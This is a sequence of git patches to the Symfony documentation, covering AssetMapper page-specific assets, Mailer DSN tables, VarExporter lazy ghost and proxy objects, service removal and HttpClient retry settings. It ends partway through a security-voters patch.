+                vendor/some/package/assets/: 'some-package'
+
+In this case, the "logical path" to all of the files in the ``vendor/some/package/assets/``
+directory will be prefixed with ``some-package`` - e.g. ``some-package/foo.js``.
+
+.. _excluded_patterns:
+
+``framework.asset_mapper.excluded_patterns``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+This is a list of glob patterns that will be excluded from the asset map:
+
+.. code-block:: yaml
+
+    framework:
+        asset_mapper:
+            excluded_patterns:
+                - '*/*.scss'
+
+You can use the ``debug:asset-map`` command to double-check that the files
+you expect are being included in the asset map.
+
+``framework.asset_mapper.importmap_script_attributes``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+This is a list of attributes that will be added to the ``<script>`` tags
+rendered by the ``{{ importmap() }}`` Twig function:
+
+.. code-block:: yaml
+
+    framework:
+        asset_mapper:
+            importmap_script_attributes:
+                crossorigin: 'anonymous'
+
+Page-Specific CSS & JavaScript
+------------------------------
+
+Sometimes you may choose to include CSS or JavaScript files only on certain
+pages. To add a CSS file to a specific page, create the file, then add a
+``link`` tag to it like normal:
+
+.. code-block:: html+twig
+
+    {# templates/products/checkout.html.twig #}
+    {% block stylesheets %}
+        {{ parent() }}
+
+        <link rel="stylesheet" href="{{ asset('styles/checkout.css') }}">
+    {% endblock %}
+
+For JavaScript, first create the new file (e.g. ``assets/checkout.js``). Then,
+add a ``script``` tag that imports it:
+
+.. code-block:: html+twig
+
+    {# templates/products/checkout.html.twig #}
+    {% block javascripts %}
+        {{ parent() }}
+
+        <script type="module">
+            import '{{ asset('checkout.js') }}';
+        </script>
+    {% endblock %}
+
+This instructs your browser to download and execute the file.
+
+In this setup, the normal ``app.js`` file will be executed first and *then*
+``checkout.js``. If, for some reason, you want to execute *only* ``checkout.js``
+and *not* ``app.js``, override the ``javascript`` block entirely and render
+``checkout.js`` through the ``importmap()`` function:
+
+.. code-block:: html+twig
+
+    {# templates/products/checkout.html.twig #}
+    {% block javascripts %}
+        <script type="module">
+            {{ importmap(asset('checkout.js')) }}
+        </script>
+    {% endblock %}
+
+The important thing is that the ``importmap()`` function must be called exactly
+*one* time on each page. It outputs the ``importmap`` and also adds a
+``<script type="module">`` tag that loads the ``app.js`` file or whatever path
+you pass to ``importmap()``.
+
+.. note::
+
+    If you look at the source of your page, by default, the ``<script type="module">``
+    from ``importmap()`` will contain ``import 'app';`` - not something like
+    ``import ``/assets/app-4e986c1a2318dd050b1d47.js``. Both would work - but
+    because ``app`` appears in your ``importmap.php``, the browser will read ``app``
+    from the ``importmap`` on the page and ultimately load ``/assets/app-4e986c1a2318dd050b1d47.js``
+
+The AssetMapper Component Caching System in dev
+-----------------------------------------------
+
+When developing your app in debug mode, the AssetMapper component will calculate the
+content of each asset file and cache it. Whenever that file changes, the component
+will automatically re-calculate the content.
+
+The system also accounts for "dependencies": If ``app.css`` contains
+``@import url('other.css')``, then the ``app.css`` file contents will also be
+re-calculated whenever ``other.css`` changes. This is because the version hash of ``other.css``
+will change... which will cause the final content of ``app.css`` to change, since
+it includes the final ``other.css`` filename inside.
+
+Mostly, this system just works. But if you have a file that is not being
+re-calculated when you expect it to, you can run:
+
+.. code-block:: terminal
+
+    $ php bin/console cache:clear
+
+This will force the AssetMapper component to re-calculate the content of all files.
+
+.. _latest asset-mapper recipe: https://github.com/symfony/recipes/tree/main/symfony/asset-mapper
+.. _import statement: https://caniuse.com/es6-module-dynamic-import
+.. _ES6: https://caniuse.com/es6
+.. _npm package: https://www.npmjs.com
+.. _importmap: https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script/type/importmap
+.. _bootstrap: https://www.npmjs.com/package/bootstrap
+.. _es module shim: https://www.npmjs.com/package/es-module-shims
+.. _jsdelivr.com: https://www.jsdelivr.com/
+.. _highlight.js: https://www.npmjs.com/package/highlight.js
+.. _class syntax: https://caniuse.com/es6-class
+.. _UX React Documentation: https://symfony.com/bundles/ux-react/current/index.html
+.. _UX Vue.js Documentation: https://symfony.com/bundles/ux-vue/current/index.html
+.. _auto minify: https://developers.cloudflare.com/support/speed/optimization-file-size/using-cloudflare-auto-minify/
+.. _Lighthouse: https://developers.google.com/web/tools/lighthouse
+.. _Tailwind: https://tailwindcss.com/
+.. _Tailwind standalone binary: https://tailwindcss.com/blog/standalone-cli
+.. _download it from the latest GitHub release: https://github.com/sass/dart-sass/releases/latest
+.. _BabdevPagerfantaBundle: https://github.com/BabDev/PagerfantaBundle
+.. _Cloudflare: https://www.cloudflare.com/
+.. _EasyAdminBundle: https://github.com/EasyCorp/EasyAdminBundle
diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index a0ea9ffc194..d94d8d500a9 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -334,6 +334,12 @@ t
 Creates a ``Translatable`` object that can be passed to the
 :ref:`trans filter <reference-twig-filter-trans>`.
 
+importmap
+~~~~~~~~~
+
+Outputs the ``importmap`` & a few other items when using
+:doc:`the Asset component </frontend/asset_mapper>`.
+
 Form Related Functions
 ~~~~~~~~~~~~~~~~~~~~~~
 

From 013395040d08538f97c2c544b563f8eda9e37ba5 Mon Sep 17 00:00:00 2001
From: Thibault Miscoria <thibault.miscoria@asiaqualityfocus.com>
Date: Wed, 7 Jun 2023 21:12:40 +0200
Subject: [PATCH 4707/7107] Fix Cmder broken link

---
 contributing/code/tests.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/tests.rst b/contributing/code/tests.rst
index 15487740301..8bffc4aa4bc 100644
--- a/contributing/code/tests.rst
+++ b/contributing/code/tests.rst
@@ -65,7 +65,7 @@ what's going on and if the tests are broken because of the new code.
     to see colored test results.
 
 .. _`install Composer`: https://getcomposer.org/download/
-.. _Cmder: https://cmder.net/
+.. _Cmder: https://cmder.app/
 .. _ConEmu: https://conemu.github.io/
 .. _ANSICON: https://github.com/adoxa/ansicon/releases
 .. _Mintty: https://mintty.github.io/

From e4c26540dc0115ff45412d62d3a5bad38b3f654d Mon Sep 17 00:00:00 2001
From: Alistair <alistair@alistairphillips.com>
Date: Thu, 8 Jun 2023 12:34:34 +1000
Subject: [PATCH 4708/7107] Update asset_mapper.rst

This corrects a grammatical error
---
 frontend/asset_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 9f73e8a36a9..ca5c6899e00 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -721,7 +721,7 @@ First, install the ``tailwindcss`` binary. This can be installed via npm (run
 
     $ npm install -D tailwindcss
 
-Of you can install the `Tailwind standalone binary`_, which does not require Node.
+Or you can install the `Tailwind standalone binary`_, which does not require Node.
 
 Next, generate the ``tailwind.config.js`` file:
 

From 7ecb2530a3ce35964894c21805dffdd7d5e15215 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 8 Jun 2023 13:48:08 +0200
Subject: [PATCH 4709/7107] [Mailer] Document the optional HttpClient
 dependency

---
 mailer.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index cdb6a259ede..6fe753ae44c 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -215,6 +215,12 @@ Provider              SMTP                                                 HTTP
         The usage of ``default_socket_timeout`` as the default timeout was
         introduced in Symfony 5.1.
 
+.. note::
+
+    Besides SMTP, many 3rd party transports offer a web API to send emails.
+    To do so, you have to install (additionally to the bridge)
+    the HttpClient component via ``composer require symfony/http-client``.
+
 .. note::
 
     To use Google Gmail, you must have a Google Account with 2-Step-Verification (2FA)

From cc46c4806e4a8ee339ea5e364ecf8ca8f8b0b735 Mon Sep 17 00:00:00 2001
From: Thibault Miscoria <thibault.miscoria@asiaqualityfocus.com>
Date: Wed, 7 Jun 2023 20:32:21 +0200
Subject: [PATCH 4710/7107] [Mailer] Improve DSN formats table

---
 mailer.rst | 57 ++++++++++++++++++++++++++++++++++++++++--------------
 1 file changed, 43 insertions(+), 14 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 1a9ac9ab729..a343d67c784 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -164,20 +164,49 @@ transport, but you can force to use one:
 This table shows the full list of available DSN formats for each third
 party provider:
 
-===================== ==================================================== =========================================== ========================================
-Provider              SMTP                                                 HTTP                                        API
-===================== ==================================================== =========================================== ========================================
-`Amazon SES`_         ses+smtp://USERNAME:PASSWORD@default                 ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
-`Google Gmail`_       gmail+smtp://USERNAME:APP-PASSWORD@default           n/a                                         n/a
-`Infobip`_            infobip+smtp://KEY@default                           n/a                                         infobip+api://KEY@BASE_URL
-`Mailchimp Mandrill`_ mandrill+smtp://USERNAME:PASSWORD@default            mandrill+https://KEY@default                mandrill+api://KEY@default
-`Mailgun`_            mailgun+smtp://USERNAME:PASSWORD@default             mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default
-`Mailjet`_            mailjet+smtp://ACCESS_KEY:SECRET_KEY@default         n/a                                         mailjet+api://ACCESS_KEY:SECRET_KEY@default
-`MailPace`_           mailpace+api://API_TOKEN@default                     n/a                                         mailpace+api://API_TOKEN@default
-`Postmark`_           postmark+smtp://ID@default                           n/a                                         postmark+api://KEY@default
-`Sendgrid`_           sendgrid+smtp://KEY@default                          n/a                                         sendgrid+api://KEY@default
-`Sendinblue`_         sendinblue+smtp://USERNAME:PASSWORD@default          n/a                                         sendinblue+api://KEY@default
-===================== ==================================================== =========================================== ========================================
++------------------------+-----------------------------------------------------+
+| Provider               | Formats                                             |
++========================+=====================================================+
+| `Amazon SES`_          | - SMTP ses+smtp://USERNAME:PASSWORD@default         |
+|                        | - HTTP ses+https://ACCESS_KEY:SECRET_KEY@default    |
+|                        | - API ses+api://ACCESS_KEY:SECRET_KEY@default       |
++------------------------+-----------------------------------------------------+
+| `Google Gmail`_        | - SMTP gmail+smtp://USERNAME:APP-PASSWORD@default   |
+|                        | - HTTP n/a                                          |
+|                        | - API n/a                                           |
++------------------------+-----------------------------------------------------+
+| `Infobip`_             | - SMTP infobip+smtp://KEY@default                   |
+|                        | - HTTP n/a                                          |
+|                        | - API infobip+api://KEY@BASE_URL                    |
++------------------------+-----------------------------------------------------+
+| `Mailchimp Mandrill`_  | - SMTP mandrill+smtp://USERNAME:PASSWORD@default    |
+|                        | - HTTP mandrill+https://KEY@default                 |
+|                        | - API mandrill+api://KEY@default                    |
++------------------------+-----------------------------------------------------+
+| `Mailgun`_             | - SMTP mailgun+smtp://USERNAME:PASSWORD@default     |
+|                        | - HTTP mailgun+https://KEY:DOMAIN@default           |
+|                        | - API mailgun+api://KEY:DOMAIN@default              |
++------------------------+-----------------------------------------------------+
+| `Mailjet`_             | - SMTP mailjet+smtp://ACCESS_KEY:SECRET_KEY@default |
+|                        | - HTTP n/a                                          |
+|                        | - API mailjet+api://ACCESS_KEY:SECRET_KEY@default   |
++------------------------+-----------------------------------------------------+
+| `MailPace`_            | - SMTP mailpace+api://API_TOKEN@default             |
+|                        | - HTTP n/a                                          |
+|                        | - API mailpace+api://API_TOKEN@default              |
++------------------------+-----------------------------------------------------+
+| `Postmark`_            | - SMTP postmark+smtp://ID@default                   |
+|                        | - HTTP n/a                                          |
+|                        | - API postmark+api://KEY@default                    |
++------------------------+-----------------------------------------------------+
+| `Sendgrid`_            | - SMTP sendgrid+smtp://KEY@default                  |
+|                        | - HTTP n/a                                          |
+|                        | - API sendgrid+api://KEY@default                    |
++------------------------+-----------------------------------------------------+
+| `Sendinblue`_          | - SMTP sendinblue+smtp://USERNAME:PASSWORD@default  |
+|                        | - HTTP n/a                                          |
+|                        | - API sendinblue+api://KEY@default                  |
++------------------------+-----------------------------------------------------+
 
 .. caution::
 

From ae0f85f8c964bf4163dfd744015cc4d311090781 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 21 Jan 2023 19:35:16 +0100
Subject: [PATCH 4711/7107] [VarExporter] Add `LazyGhostTrait` and
 `LazyProxyTrait` documentation

---
 components/var_exporter.rst | 181 ++++++++++++++++++++++++++++++++++++
 1 file changed, 181 insertions(+)

diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index 9c5677c91d8..a8591c43692 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -181,5 +181,186 @@ populated by using the special ``"\0"`` property name to define their internal v
 
     The :class:`Symfony\\Component\\VarExporter\\Hydrator` was introduced in Symfony 6.2.
 
+Creating Lazy Objects
+---------------------
+
+Lazy-objects are objects instantiated empty and populated on-demand. This is
+particularly useful when you have for example properties in your classes that
+requires some heavy computation to determine their value. In this case, you
+may want to trigger the property's value processing only when you actually need
+its value. Thanks to this, the heavy computation won't be done if you never use
+this property. The VarExporter component is bundled with two traits helping
+you implement such mechanism easily in your classes.
+
+.. _var-exporter_ghost-objects:
+
+LazyGhostTrait
+~~~~~~~~~~~~~~
+
+Ghost objects are empty objects, which see their properties populated the first
+time any method is called. Thanks to :class:`Symfony\\Component\\VarExporter\\LazyGhostTrait`,
+the implementation of the lazy mechanism is eased. In the following example, we are
+defining the ``$hash`` property as lazy. We also declare that the ``MyLazyObject::computeHash()``
+method should be called only when ``$hash``'s value need to be known::
+
+    namespace App\Hash;
+
+    use Symfony\Component\VarExporter\LazyGhostTrait;
+
+    class HashProcessor
+    {
+        use LazyGhostTrait;
+        // Because of how the LazyGhostTrait trait works internally, you
+        // must add this private property in your class
+        private int $lazyObjectId;
+
+        // This property may require a heavy computation to have its value
+        public readonly string $hash;
+
+        public function __construct()
+        {
+            self::createLazyGhost(initializer: [
+                'hash' => $this->computeHash(...),
+            ], instance: $this);
+        }
+
+        private function computeHash(array $data): string
+        {
+            // Compute $this->hash value with the passed data
+        }
+    }
+
+:class:`Symfony\\Component\\VarExporter\\LazyGhostTrait` also allows to
+convert non-lazy classes to lazy ones::
+
+    namespace App\Hash;
+
+    use Symfony\Component\VarExporter\LazyGhostTrait;
+
+    class HashProcessor
+    {
+        public readonly string $hash;
+
+        public function __construct(array $data)
+        {
+            $this->hash = $this->computeHash($data);
+        }
+
+        private function computeHash(array $data): string
+        {
+            // ...
+        }
+
+        public function validateHash(): bool
+        {
+            // ...
+        }
+    }
+
+    class LazyHashProcessor extends HashProcessor
+    {
+        use LazyGhostTrait;
+    }
+
+    $processor = LazyHashProcessor::createLazyGhost(initializer: function (HashProcessor $instance): void {
+        // Do any operation you need here: call setters, getters, methods to validate the hash, etc.
+        $data = /** Retrieve required data to compute the hash */;
+        $instance->__construct(...$data);
+        $instance->validateHash();
+    });
+
+While you never query ``$processor->hash`` value, heavy methods will never be triggered.
+But still, the ``$processor`` object exists and can be used in your code, passed to
+methods, functions, etc.
+
+Additionally and by adding two arguments to initializer function, it is possible to initialize
+properties one-by-one::
+
+    $processor = LazyHashProcessor::createLazyGhost(initializer: function (HashProcessor $instance, string $propertyName, ?string $propertyScope): mixed {
+        if (HashProcessor::class === $propertyScope && 'hash' === $propertyName) {
+            // Return $hash value
+        }
+
+        // Then you can add more logic for the other properties
+    });
+
+Ghost objects unfortunately can't work with abstract classes but also internal PHP classes.
+Nevertheless, the VarExporter component covers this need with the help of to
+:ref:`Virtual Proxies <var-exporter_virtual-proxies>`.
+
+.. versionadded:: 6.2
+
+    The :class:`Symfony\\Component\\VarExporter\\LazyGhostTrait` was introduced in Symfony 6.2.
+
+.. _var-exporter_virtual-proxies:
+
+LazyProxyTrait
+~~~~~~~~~~~~~~
+
+The purpose of virtual proxies in the same one as
+:ref:`ghost objects <var-exporter_ghost-objects>`, but their internal behavior is
+totally different. Where ghost objects requires to extend a base class, virtual
+proxies take advantage of the **Liskov Substitution principle**. This principle
+describes that if two objects are implementing the same interface, you can swap between
+the different implementations without breaking your application. This is what virtual
+proxies take advantage of. To use virtual proxies, you may use
+:class:`Symfony\\Component\\VarExporter\\ProxyHelper` to generate proxy's class
+code::
+
+    namespace App\Hash;
+
+    use Symfony\Component\VarExporter\ProxyHelper;
+
+    interface ProcessorInterface
+    {
+        public function getHash(): bool;
+    }
+
+    abstract class AbstractProcessor implements ProcessorInterface
+    {
+        protected string $hash;
+
+        public function getHash(): bool
+        {
+            return $this->hash;
+        }
+    }
+
+    class HashProcessor extends AbstractProcessor
+    {
+        public function __construct(array $data)
+        {
+            $this->hash = $this->computeHash($data);
+        }
+
+        private function computeHash(array $data): string
+        {
+            // ...
+        }
+    }
+
+    $proxyCode = ProxyHelper::generateLazyProxy(new \ReflectionClass(AbstractProcessor::class));
+    // $proxyCode contains the actual proxy and the reference to LazyProxyTrait.
+    // In production env, this should be dumped into a file to avoid calling eval().
+    eval('class HashProcessorProxy'.$proxyCode);
+
+    $processor = HashProcessorProxy::createLazyProxy(initializer: function (): ProcessorInterface {
+        $data = /** Retrieve required data to compute the hash */;
+        $instance = new HashProcessor(...$data);
+
+        // Do any operation you need here: call setters, getters, methods to validate the hash, etc.
+
+        return $instance;
+    });
+
+Just like ghost objects, while you never query ``$processor->hash``, its value will not be computed.
+The main difference with ghost objects is that this time, we created a proxy of an abstract class.
+This also works with internal PHP class.
+
+.. versionadded:: 6.2
+
+    The :class:`Symfony\\Component\\VarExporter\\LazyProxyTrait` and
+    :class:`Symfony\\Component\\VarExporter\\ProxyHelper` were introduced in Symfony 6.2.
+
 .. _`OPcache`: https://www.php.net/opcache
 .. _`PSR-2`: https://www.php-fig.org/psr/psr-2/

From d501307762fb3b7e41dfb2b0a9751828026cd496 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 8 Jun 2023 17:51:23 +0200
Subject: [PATCH 4712/7107] Tweaks

---
 components/var_exporter.rst | 32 ++++++++++++++++----------------
 1 file changed, 16 insertions(+), 16 deletions(-)

diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index a8591c43692..12c1396b0f1 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -199,8 +199,8 @@ LazyGhostTrait
 
 Ghost objects are empty objects, which see their properties populated the first
 time any method is called. Thanks to :class:`Symfony\\Component\\VarExporter\\LazyGhostTrait`,
-the implementation of the lazy mechanism is eased. In the following example, we are
-defining the ``$hash`` property as lazy. We also declare that the ``MyLazyObject::computeHash()``
+the implementation of the lazy mechanism is eased. In the following example, the
+``$hash`` property is defined as lazy. Also, the ``MyLazyObject::computeHash()``
 method should be called only when ``$hash``'s value need to be known::
 
     namespace App\Hash;
@@ -269,12 +269,12 @@ convert non-lazy classes to lazy ones::
         $instance->validateHash();
     });
 
-While you never query ``$processor->hash`` value, heavy methods will never be triggered.
-But still, the ``$processor`` object exists and can be used in your code, passed to
-methods, functions, etc.
+While you never query ``$processor->hash`` value, heavy methods will never be
+triggered. But still, the ``$processor`` object exists and can be used in your
+code, passed to methods, functions, etc.
 
-Additionally and by adding two arguments to initializer function, it is possible to initialize
-properties one-by-one::
+Additionally and by adding two arguments to the initializer function, it is
+possible to initialize properties one-by-one::
 
     $processor = LazyHashProcessor::createLazyGhost(initializer: function (HashProcessor $instance, string $propertyName, ?string $propertyScope): mixed {
         if (HashProcessor::class === $propertyScope && 'hash' === $propertyName) {
@@ -284,9 +284,9 @@ properties one-by-one::
         // Then you can add more logic for the other properties
     });
 
-Ghost objects unfortunately can't work with abstract classes but also internal PHP classes.
-Nevertheless, the VarExporter component covers this need with the help of to
-:ref:`Virtual Proxies <var-exporter_virtual-proxies>`.
+Ghost objects unfortunately can't work with abstract classes or internal PHP
+classes. Nevertheless, the VarExporter component covers this need with the help
+of :ref:`Virtual Proxies <var-exporter_virtual-proxies>`.
 
 .. versionadded:: 6.2
 
@@ -301,9 +301,9 @@ The purpose of virtual proxies in the same one as
 :ref:`ghost objects <var-exporter_ghost-objects>`, but their internal behavior is
 totally different. Where ghost objects requires to extend a base class, virtual
 proxies take advantage of the **Liskov Substitution principle**. This principle
-describes that if two objects are implementing the same interface, you can swap between
-the different implementations without breaking your application. This is what virtual
-proxies take advantage of. To use virtual proxies, you may use
+describes that if two objects are implementing the same interface, you can swap
+between the different implementations without breaking your application. This is
+what virtual proxies take advantage of. To use virtual proxies, you may use
 :class:`Symfony\\Component\\VarExporter\\ProxyHelper` to generate proxy's class
 code::
 
@@ -353,9 +353,9 @@ code::
         return $instance;
     });
 
-Just like ghost objects, while you never query ``$processor->hash``, its value will not be computed.
-The main difference with ghost objects is that this time, we created a proxy of an abstract class.
-This also works with internal PHP class.
+Just like ghost objects, while you never query ``$processor->hash``, its value
+will not be computed. The main difference with ghost objects is that this time,
+a proxy of an abstract class was created. This also works with internal PHP class.
 
 .. versionadded:: 6.2
 

From d8365d27db73f2fbca9a2f081f703736ace574cf Mon Sep 17 00:00:00 2001
From: athib <athib.pro@gmail.com>
Date: Thu, 8 Jun 2023 14:58:52 +0200
Subject: [PATCH 4713/7107] Update value_resolver.rst

Replace return type from `array` to `iterable` as it is defined in `ValueResolverInterface`
---
 controller/value_resolver.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index d9a84aa06ee..e9dc82a4210 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -242,7 +242,7 @@ values. That's why you must always return an array, even for single values::
 
     class BookingIdValueResolver implements ValueResolverInterface
     {
-        public function resolve(Request $request, ArgumentMetadata $argument): array
+        public function resolve(Request $request, ArgumentMetadata $argument): iterable
         {
             // get the argument type (e.g. BookingId)
             $argumentType = $argument->getType();

From 4f63c92294b19398ec5f892aaf83ad9e3d7ff4ba Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 9 Jun 2023 10:00:37 +0200
Subject: [PATCH 4714/7107] Move contents to the main DI article

---
 service_container.rst        | 25 +++++++++++++++++++++++++
 service_container/remove.rst | 23 -----------------------
 2 files changed, 25 insertions(+), 23 deletions(-)
 delete mode 100644 service_container/remove.rst

diff --git a/service_container.rst b/service_container.rst
index afd5ea44bd7..5c33d16e069 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -702,6 +702,31 @@ For a full list of *all* possible services in the container, run:
 
     $ php bin/console debug:container
 
+Remove Services
+---------------
+
+A service can be removed from the service container if needed. This is useful
+for example to make a service unavailable in some :ref:`configuration environment <configuration-environments>`
+(e.g. in the ``test`` environment):
+
+.. configuration-block::
+
+    .. code-block:: php
+
+        // config/services_test.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\RemovedService;
+
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
+
+            $services->remove(RemovedService::class);
+        };
+
+Now, the container will not contain the ``App\RemovedService`` in the ``test``
+environment.
+
 .. _services-binding:
 
 Binding Arguments by Name or Type
diff --git a/service_container/remove.rst b/service_container/remove.rst
deleted file mode 100644
index da4fbf2e54e..00000000000
--- a/service_container/remove.rst
+++ /dev/null
@@ -1,23 +0,0 @@
-How to Remove a Service
-=======================
-
-A service can be removed from the service container if needed
-(for instance in the test or a specific environment):
-
-.. configuration-block::
-
-    .. code-block:: php
-
-        // config/services_test.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use App\RemovedService;
-
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
-
-            $services->remove(RemovedService::class);
-        };
-
-Now, the container will not contain the ``App\RemovedService``
-in the test environment.

From 37222027e7065259c8a1f5a62d68d8fda340326a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 9 Jun 2023 10:03:13 +0200
Subject: [PATCH 4715/7107] -

---
 service_container.rst | 25 +++++++++++++++++++++++++
 1 file changed, 25 insertions(+)

diff --git a/service_container.rst b/service_container.rst
index 6d215be627d..0fd3a354317 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -688,6 +688,31 @@ For a full list of *all* possible services in the container, run:
 
     $ php bin/console debug:container
 
+Remove Services
+---------------
+
+A service can be removed from the service container if needed. This is useful
+for example to make a service unavailable in some :ref:`configuration environment <configuration-environments>`
+(e.g. in the ``test`` environment):
+
+.. configuration-block::
+
+    .. code-block:: php
+
+        // config/services_test.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\RemovedService;
+
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
+
+            $services->remove(RemovedService::class);
+        };
+
+Now, the container will not contain the ``App\RemovedService`` in the ``test``
+environment.
+
 .. _container_closure-as-argument:
 
 Injecting a Closure as an Argument

From bf57a3ef83fcd8dade0caa6f5f2d891dd2f0292d Mon Sep 17 00:00:00 2001
From: Daniel Burger <48986191+danielburger1337@users.noreply.github.com>
Date: Sat, 6 May 2023 01:46:31 +0200
Subject: [PATCH 4716/7107] Add 'max_retries' setting docs on the
 RetryableHttpClient

---
 http_client.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index 32ddad66bec..24a489cafe7 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -706,6 +706,10 @@ making a request. Use the ``max_redirects`` setting to configure this behavior
 Retry Failed Requests
 ~~~~~~~~~~~~~~~~~~~~~
 
+.. versionadded:: 6.3
+
+    The ``max_retries`` feature was added in Symfony 6.3.
+
 Sometimes, requests fail because of network issues or temporary server errors.
 Symfony's HttpClient allows to retry failed requests automatically using the
 :ref:`retry_failed option <reference-http-client-retry-failed>`.
@@ -714,7 +718,8 @@ By default, failed requests are retried up to 3 times, with an exponential delay
 between retries (first retry = 1 second; third retry: 4 seconds) and only for
 the following HTTP status codes: ``423``, ``425``, ``429``, ``502`` and ``503``
 when using any HTTP method and ``500``, ``504``, ``507`` and ``510`` when using
-an HTTP `idempotent method`_.
+an HTTP `idempotent method`_. Use the ``max_retries`` setting to configure the amount
+of times a request is retried.
 
 Check out the full list of configurable :ref:`retry_failed options <reference-http-client-retry-failed>`
 to learn how to tweak each of them to fit your application needs.

From 36e00c5152fc063e3b7a1b3cb2f104902c8e903c Mon Sep 17 00:00:00 2001
From: Daniel Burger <48986191+danielburger1337@users.noreply.github.com>
Date: Fri, 9 Jun 2023 14:41:21 +0200
Subject: [PATCH 4717/7107] Fix versionadded doc for max_retries option of
 RetryableHttpClient

---
 http_client.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 24a489cafe7..f4a209fee57 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -706,9 +706,9 @@ making a request. Use the ``max_redirects`` setting to configure this behavior
 Retry Failed Requests
 ~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 6.3
+.. versionadded:: 6.4
 
-    The ``max_retries`` feature was added in Symfony 6.3.
+    The ``max_retries`` feature was added in Symfony 6.4.
 
 Sometimes, requests fail because of network issues or temporary server errors.
 Symfony's HttpClient allows to retry failed requests automatically using the

From a269f9ef5b6bd20b1b08e5e8f8ac9dc80e4e3221 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 9 Jun 2023 17:27:16 +0200
Subject: [PATCH 4718/7107] Tweaks

---
 http_client.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index f4a209fee57..4b82dc71f63 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -706,10 +706,6 @@ making a request. Use the ``max_redirects`` setting to configure this behavior
 Retry Failed Requests
 ~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 6.4
-
-    The ``max_retries`` feature was added in Symfony 6.4.
-
 Sometimes, requests fail because of network issues or temporary server errors.
 Symfony's HttpClient allows to retry failed requests automatically using the
 :ref:`retry_failed option <reference-http-client-retry-failed>`.
@@ -718,8 +714,12 @@ By default, failed requests are retried up to 3 times, with an exponential delay
 between retries (first retry = 1 second; third retry: 4 seconds) and only for
 the following HTTP status codes: ``423``, ``425``, ``429``, ``502`` and ``503``
 when using any HTTP method and ``500``, ``504``, ``507`` and ``510`` when using
-an HTTP `idempotent method`_. Use the ``max_retries`` setting to configure the amount
-of times a request is retried.
+an HTTP `idempotent method`_. Use the ``max_retries`` setting to configure the
+amount of times a request is retried.
+
+.. versionadded:: 6.4
+
+    The ``max_retries`` options was introduced in Symfony 6.4.
 
 Check out the full list of configurable :ref:`retry_failed options <reference-http-client-retry-failed>`
 to learn how to tweak each of them to fit your application needs.

From 1d55d83ddad1a30b45c3b907b81358ab0b99bf8c Mon Sep 17 00:00:00 2001
From: Romain Monteil <monteil.romain@gmail.com>
Date: Mon, 6 Mar 2023 09:29:54 +0100
Subject: [PATCH 4719/7107] [Security] Add documentation for `#[IsGranted]` and
 Voters

---
 doctrine/events.rst |   2 +-
 security.rst        |   2 +-
 security/voters.rst | 103 +++++++++++++++++++++++++++++++++++---------
 3 files changed, 84 insertions(+), 23 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 8769c44211d..65f48d46047 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -164,7 +164,7 @@ listener in the Symfony application by creating a new service for it and
 
 .. configuration-block::
 
-    .. code-block:: attribute
+    .. code-block:: php-attributes
 
         // src/App/EventListener/SearchIndexer.php
         namespace App\EventListener;
diff --git a/security.rst b/security.rst
index 48f1915b70a..77efcdb37b0 100644
--- a/security.rst
+++ b/security.rst
@@ -2288,7 +2288,7 @@ will happen:
 
 .. _security-securing-controller-annotations:
 
